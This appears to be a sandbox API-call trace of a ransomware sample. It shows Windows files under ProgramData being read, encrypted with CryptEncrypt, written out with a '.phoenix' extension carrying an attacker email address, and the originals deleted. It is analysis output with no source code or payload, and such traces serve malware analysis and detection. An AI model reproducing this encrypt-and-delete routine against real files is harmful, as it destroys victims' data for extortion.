	[0261.526] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.gthr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.526] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.526] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.526] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.gthr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.gthr.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.527] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0261.527] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.527] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1ea, lpOverlapped=0x0) returned 1
	[0261.528] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0261.528] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0261.529] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0261.529] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.529] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0261.529] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.529] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0261.742] CryptDestroyKey (hKey=0x151780) returned 1
	[0261.742] CloseHandle (hObject=0x2e0) returned 1
	[0261.742] CloseHandle (hObject=0x254) returned 1
	[0261.742] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.gthr")) returned 1
	[0261.743] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.743] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.745] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=65536) returned 1
	[0261.745] CloseHandle (hObject=0x254) returned 1
	[0261.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002")) returned 0x2020
	[0261.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.745] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.745] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.746] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0261.746] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.746] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x10000, lpOverlapped=0x0) returned 1
	[0261.780] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x10010, dwBufLen=0x10010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x10010) returned 1
	[0261.780] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x10010, lpOverlapped=0x0) returned 1
	[0261.782] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0261.782] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.782] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0261.782] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.782] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0261.782] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0261.782] CloseHandle (hObject=0x254) returned 1
	[0261.782] CloseHandle (hObject=0x2e0) returned 1
	[0261.782] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002")) returned 1
	[0261.784] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.jfm" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.jfm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.784] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0261.784] CloseHandle (hObject=0x2e0) returned 1
	[0261.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.jfm" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.jfm")) returned 0x2020
	[0261.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.jfm.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.jfm.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.jfm" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.785] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.785] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.jfm.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.jfm.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.785] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0261.785] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.785] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x4000, lpOverlapped=0x0) returned 1
	[0261.803] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x4010, dwBufLen=0x4010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x4010) returned 1
	[0261.803] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x4010, lpOverlapped=0x0) returned 1
	[0261.805] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0261.805] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.805] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0261.805] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0261.805] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0261.805] CryptDestroyKey (hKey=0x151440) returned 1
	[0261.805] CloseHandle (hObject=0x2e0) returned 1
	[0261.805] CloseHandle (hObject=0x254) returned 1
	[0261.805] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.jfm" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.jfm")) returned 1
	[0261.806] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.808] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0261.808] CloseHandle (hObject=0x254) returned 1
	[0261.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk")) returned 0x20
	[0261.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.808] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.809] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=65536) returned 1
	[0261.809] CloseHandle (hObject=0x254) returned 1
	[0261.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs")) returned 0x20
	[0261.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.809] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.810] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=65536) returned 1
	[0261.810] CloseHandle (hObject=0x254) returned 1
	[0261.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs")) returned 0x20
	[0261.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.811] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0261.811] CloseHandle (hObject=0x254) returned 1
	[0261.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm")) returned 0x20
	[0261.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.811] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.834] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=327) returned 1
	[0261.834] CloseHandle (hObject=0x254) returned 1
	[0261.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1")) returned 0x20
	[0261.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.834] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.835] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.835] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=158) returned 1
	[0261.835] CloseHandle (hObject=0x254) returned 1
	[0261.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch")) returned 0x20
	[0261.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.835] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.836] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.836] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.836] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.836] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0261.836] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.836] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x9e, lpOverlapped=0x0) returned 1
	[0261.837] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0261.837] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xa0, lpOverlapped=0x0) returned 1
	[0261.838] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0261.838] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.838] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0261.838] CryptDestroyKey (hKey=0x151740) returned 1
